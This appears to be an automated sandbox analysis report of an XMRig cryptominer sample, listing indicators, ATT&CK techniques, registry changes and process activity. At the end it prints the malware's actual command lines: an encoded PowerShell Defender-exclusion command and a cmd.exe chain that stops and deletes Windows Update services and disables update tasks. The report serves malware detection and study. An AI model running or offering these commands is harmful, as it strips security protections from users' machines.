xmrig | 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

Analysis

max time kernel
300s
max time network
298s
platform
windows10-1703_x64
resource
win10-20220722-en
resource tags

arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system
submitted
03-08-2022 04:15

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General

Target

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Size

7.1MB
MD5

322cf2f6a67420e4eb53f29263a639ba
SHA1

bc91f56c260ff4484f7fb0d33a3d351d3d812781
SHA256

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025
SHA512

3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Score

10^/10

xmrig discovery evasion exploit miner themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2252-467-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2252-468-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/2252-469-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2252-471-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2252-479-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2252-480-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2204 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4780 takeown.exe
3724 icacls.exe
4568 takeown.exe
4816 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
2204	updater.exe

pid	process
4780	takeown.exe
3724	icacls.exe
4568	takeown.exe
4816	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4780 takeown.exe
3724 icacls.exe
4568 takeown.exe
4816 icacls.exe

pid	process
4780	takeown.exe
3724	icacls.exe
4568	takeown.exe
4816	icacls.exe

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/2148-127-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/2148-128-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/2148-130-0x0000000000400000-0x000000000106F000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/2204-271-0x0000000000400000-0x000000000106F000-memory.dmp	themida
behavioral2/memory/2204-273-0x0000000000400000-0x000000000106F000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

conhost.exepowershell.EXEpowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exe

pid process

2148 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
2204 updater.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 2136 set thread context of 2252 2136 conhost.exe explorer.exe

pid	process
2148	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
2204	updater.exe

description	pid	process	target process
PID 2136 set thread context of 2252	2136	conhost.exe	explorer.exe

Drops file in Program Files directory 3 IoCs

Processes:

powershell.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3784 sc.exe
1992 sc.exe
2716 sc.exe
4068 sc.exe
4916 sc.exe
3928 sc.exe
3352 sc.exe
4120 sc.exe
3344 sc.exe
1588 sc.exe

pid	process
3784	sc.exe
1992	sc.exe
2716	sc.exe
4068	sc.exe
4916	sc.exe
3928	sc.exe
3352	sc.exe
4120	sc.exe
3344	sc.exe
1588	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEconhost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
4180	reg.exe
2788	reg.exe
4252	reg.exe
4232	reg.exe
3292	reg.exe
3600	reg.exe
3204	reg.exe
2708	reg.exe
4320	reg.exe
4644	reg.exe
3972	reg.exe
2416	reg.exe
2660	reg.exe
3528	reg.exe
4796	reg.exe
4976	reg.exe
4308	reg.exe
3964	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exe

pid	process
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
2368	conhost.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
4156	powershell.EXE
4156	powershell.EXE
4156	powershell.EXE
4372	powershell.exe
4372	powershell.exe
4372	powershell.exe
2136	conhost.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe
2252	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

624

pid	process
624

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeIncreaseQuotaPrivilege	3580	powershell.exe
Token: SeSecurityPrivilege	3580	powershell.exe
Token: SeTakeOwnershipPrivilege	3580	powershell.exe
Token: SeLoadDriverPrivilege	3580	powershell.exe
Token: SeSystemProfilePrivilege	3580	powershell.exe
Token: SeSystemtimePrivilege	3580	powershell.exe
Token: SeProfSingleProcessPrivilege	3580	powershell.exe
Token: SeIncBasePriorityPrivilege	3580	powershell.exe
Token: SeCreatePagefilePrivilege	3580	powershell.exe
Token: SeBackupPrivilege	3580	powershell.exe
Token: SeRestorePrivilege	3580	powershell.exe
Token: SeShutdownPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeSystemEnvironmentPrivilege	3580	powershell.exe
Token: SeRemoteShutdownPrivilege	3580	powershell.exe
Token: SeUndockPrivilege	3580	powershell.exe
Token: SeManageVolumePrivilege	3580	powershell.exe
Token: 33	3580	powershell.exe
Token: 34	3580	powershell.exe
Token: 35	3580	powershell.exe
Token: 36	3580	powershell.exe
Token: SeDebugPrivilege	2368	conhost.exe
Token: SeShutdownPrivilege	4040	powercfg.exe
Token: SeCreatePagefilePrivilege	4040	powercfg.exe
Token: SeShutdownPrivilege	4844	powercfg.exe
Token: SeCreatePagefilePrivilege	4844	powercfg.exe
Token: SeShutdownPrivilege	2108	powercfg.exe
Token: SeCreatePagefilePrivilege	2108	powercfg.exe
Token: SeShutdownPrivilege	3720	powercfg.exe
Token: SeCreatePagefilePrivilege	3720	powercfg.exe
Token: SeTakeOwnershipPrivilege	4780	takeown.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe
Token: SeRestorePrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeSystemEnvironmentPrivilege	4884	powershell.exe
Token: SeRemoteShutdownPrivilege	4884	powershell.exe
Token: SeUndockPrivilege	4884	powershell.exe
Token: SeManageVolumePrivilege	4884	powershell.exe
Token: 33	4884	powershell.exe
Token: 34	4884	powershell.exe
Token: 35	4884	powershell.exe
Token: 36	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe
Token: SeTakeOwnershipPrivilege	4884	powershell.exe
Token: SeLoadDriverPrivilege	4884	powershell.exe
Token: SeSystemProfilePrivilege	4884	powershell.exe
Token: SeSystemtimePrivilege	4884	powershell.exe
Token: SeProfSingleProcessPrivilege	4884	powershell.exe
Token: SeIncBasePriorityPrivilege	4884	powershell.exe
Token: SeCreatePagefilePrivilege	4884	powershell.exe
Token: SeBackupPrivilege	4884	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 2148 wrote to memory of 2368	2148	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 2148 wrote to memory of 2368	2148	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 2148 wrote to memory of 2368	2148	1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe	conhost.exe
PID 2368 wrote to memory of 3580	2368	conhost.exe	powershell.exe
PID 2368 wrote to memory of 3580	2368	conhost.exe	powershell.exe
PID 2368 wrote to memory of 5068	2368	conhost.exe	cmd.exe
PID 2368 wrote to memory of 5068	2368	conhost.exe	cmd.exe
PID 2368 wrote to memory of 1584	2368	conhost.exe	cmd.exe
PID 2368 wrote to memory of 1584	2368	conhost.exe	cmd.exe
PID 5068 wrote to memory of 3928	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3928	5068	cmd.exe	sc.exe
PID 1584 wrote to memory of 4040	1584	cmd.exe	powercfg.exe
PID 1584 wrote to memory of 4040	1584	cmd.exe	powercfg.exe
PID 5068 wrote to memory of 3352	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3352	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3784	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3784	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 1992	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 1992	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3344	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3344	5068	cmd.exe	sc.exe
PID 5068 wrote to memory of 3528	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 3528	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4796	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4796	5068	cmd.exe	reg.exe
PID 1584 wrote to memory of 4844	1584	cmd.exe	powercfg.exe
PID 1584 wrote to memory of 4844	1584	cmd.exe	powercfg.exe
PID 5068 wrote to memory of 4976	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4976	5068	cmd.exe	reg.exe
PID 1584 wrote to memory of 2108	1584	cmd.exe	powercfg.exe
PID 1584 wrote to memory of 2108	1584	cmd.exe	powercfg.exe
PID 5068 wrote to memory of 4180	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4180	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 3600	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 3600	5068	cmd.exe	reg.exe
PID 1584 wrote to memory of 3720	1584	cmd.exe	powercfg.exe
PID 1584 wrote to memory of 3720	1584	cmd.exe	powercfg.exe
PID 5068 wrote to memory of 4780	5068	cmd.exe	takeown.exe
PID 5068 wrote to memory of 4780	5068	cmd.exe	takeown.exe
PID 5068 wrote to memory of 3724	5068	cmd.exe	icacls.exe
PID 5068 wrote to memory of 3724	5068	cmd.exe	icacls.exe
PID 2368 wrote to memory of 4884	2368	conhost.exe	powershell.exe
PID 2368 wrote to memory of 4884	2368	conhost.exe	powershell.exe
PID 5068 wrote to memory of 4320	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4320	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4308	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4308	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 2788	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 2788	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4644	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 4644	5068	cmd.exe	reg.exe
PID 5068 wrote to memory of 428	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 428	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 908	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 908	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 864	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 864	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 4420	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 4420	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 4636	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 4636	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 216	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 216	5068	cmd.exe	schtasks.exe
PID 5068 wrote to memory of 200	5068	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
"C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3580

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:5068

